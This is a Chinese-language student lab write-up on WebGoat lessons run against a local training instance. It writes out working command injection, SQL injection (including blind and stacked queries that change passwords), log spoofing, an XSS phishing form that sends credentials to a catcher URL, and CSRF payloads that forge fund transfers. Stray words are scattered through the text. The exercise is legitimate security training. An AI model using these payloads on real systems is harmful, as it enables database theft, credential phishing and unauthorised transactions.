目錄javascript
理解經常使用網絡攻擊技術的基本原理。html
拷貝到本地,並使用命令java -jar webgoat-container-7.0.1-war-exec.jar
運行Webgoat,出現INFO: Starting ProtocolHandler ["http-bio-8080"]
則開啓成功,能夠看到佔用8080端口,實驗過程當中不能關閉終端
java
127.0.0.1:8080/WebGoat
,使用默認名和密碼登陸每完成一項課程就會有一個小對勾linux
打開webgoat時左側未出現課程
git
解決方法:從新下載javaversion,具體參考這個連接
github
選擇Injection Flaws
開始實踐web
命令注入攻擊是對任何參數驅動的站點的嚴重威脅。sql
ps -ef
爲例,獲取進程信息咱們在頁面的源代碼中加入咱們的命令:在源代碼中找到"Backdoors.help",在其後加上"& ps -ef
數據庫
保存後下拉框中能夠看到咱們剛剛修改的選項,點擊view
,能夠看到進程信息
瀏覽器
SELECT * FROM weather_data WHERE station = ?
,使用數字型SQL注入,能夠在網頁源代碼中的選項後面加上or 1=1
,這樣就能夠得到全部地區的天氣信息了。Proxy
->Options
->Add
添加一個監聽端口,添加成功後運行preferences
->Advanced
->Network
->Connection
->settings
->Manual proxy configuration:
設置成剛剛綁定的端口號。Proxy
->Intercept
能夠看到捕獲的包右鍵選擇send to repeater
,點擊Repeater
->Params
可看到station的值爲101,修改成「101 or 1=1」,點擊GO
再點擊Intercept is on
,這時可看到顯示全部地區天氣信息
zyl%0d%0aLogin Succeeded for username: admin
,%0d是空格,%0a是換行下面的表格容許用戶查看他們的信用卡號碼。嘗試注入一個SQL字符串,致使顯示全部信用卡號。嘗試用戶名「史密斯」。
'
構成的,咱們在last name中輸入Smith' OR '1'='1
全部的用戶信息被輸出Smith' or 1=1 --
,攻擊成功可獲得全部人員列表' or 1=1 --
做爲密碼ViewProfile
能夠查看用戶信息,那麼咱們要作的,就是點擊這個按鈕後跳轉到boss的信息。101 or 1=1 order by salary desc --
,點擊ViewProfile咱們能夠看到插入查詢語句的字符串沒有通過任何處理,能夠輸入多條語句進行增、刪、改、查
輸入注入語句101; update employee set Password=5230
執行,能夠看見密碼框變爲了設置的密碼
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );
看pin的值是否大於100,顯示數是合法的;再用500、1000、5000嘗試,發現pin應該是小於5000的101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );
顯示出錯,判斷其是否比字 母「H」小101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );
,- - 通過屢次測試和頁面的返回數據,判斷出第一個字符爲「J」結果爲Jill選擇Cross-Site Scripting (XSS)
開始實踐
使用XSS和HTML插入,您的目標是:
將html插入該請求憑據,添加javascript以實際收集憑據,將憑據發送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes…,要經過本課程,憑證必須發佈到捕獲者servlet。
根據要求,咱們編寫代碼,設計一個簡單的登陸界面獲取用戶名和密碼併發送到指定地方
<script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
點擊搜索,看到下面有個登陸界面,登陸提示
<script>alert("You've been attacked!!!");</script>
發出請求時,XSS代碼出如今URL中,做爲輸入提交到服務器端,服務器端解析後響應,XSS隨響應內容一塊兒返回給瀏覽器,最後瀏覽器解析執行XSS代碼
<script>alert("20165230 attack!!!");</script>
,點擊purse的同時頁面就給出了反饋您的目標是向新聞組發送電子郵件。 該電子郵件包含一個圖像,其URL指向惡意請求。 在本課中,URL應該指向「攻擊」servlet,其中包含課程的「屏幕」和「菜單」參數,以及具備任意數值的額外參數「transferFunds」(如5000)。您能夠經過查找「屏幕」來構建連接 「和」菜單「值在右側的參數插入。 當時經過身份認證的CSRF電子郵件的接收者將轉移資金。
<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=5000" width="1" height="1" />
,成功看到左邊多了一個小綠√<img src="attack?Screen=279&menu=900&transferFunds=5000"> <img src="attack?Screen=279&menu=900&transferFunds=confirm" >
相似於CSRF課程,您的目標是向包含惡意請求轉移資金的新聞組發送電子郵件。 要成功完成,您須要獲取有效的請求令牌。 提供轉帳資金錶單的頁面包含一個有效的請求令牌。 轉移資金頁面的URL是本課程的「屏幕」和「菜單」查詢參數以及額外的參數「transferFunds = main」的「攻擊」servlet。 加載此頁面,讀取令牌,並在僞造的請求中附加令牌以傳輸數據。 當您認爲攻擊成功時,刷新頁面,您將在左側菜單中找到綠色檢查。
<script> var readToken = function(){ var doc = document.getElementById("frame1").contentDocument var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value"); alert(token); var frame2 = document.getElementById("frame2"); frame2.src = "attack?Screen=277&menu=900&transferFunds=4000&CSRFToken="+token; } </script> <iframe id="frame2" ></iframe> <iframe id="frame1" onload="readToken()" src="attack?Screen=277&menu=900&transferFunds=main" ></iframe>
這是最後一個實驗了,作完特別有成就感。此次實驗經過使用webgoat作了一系列的sql,CSRF和xss攻擊,使我對這幾種攻擊方式有了更清楚的區分和理解,也經過實例讓咱們在平時生活中能更注意一下容易被攻擊的細節,讓我對咱們這些菜雞編出來的代碼極度的否認態度,沒有找不出來的漏洞,因此在信息安全這條道路上好好的體會琢磨吧,道阻且艱!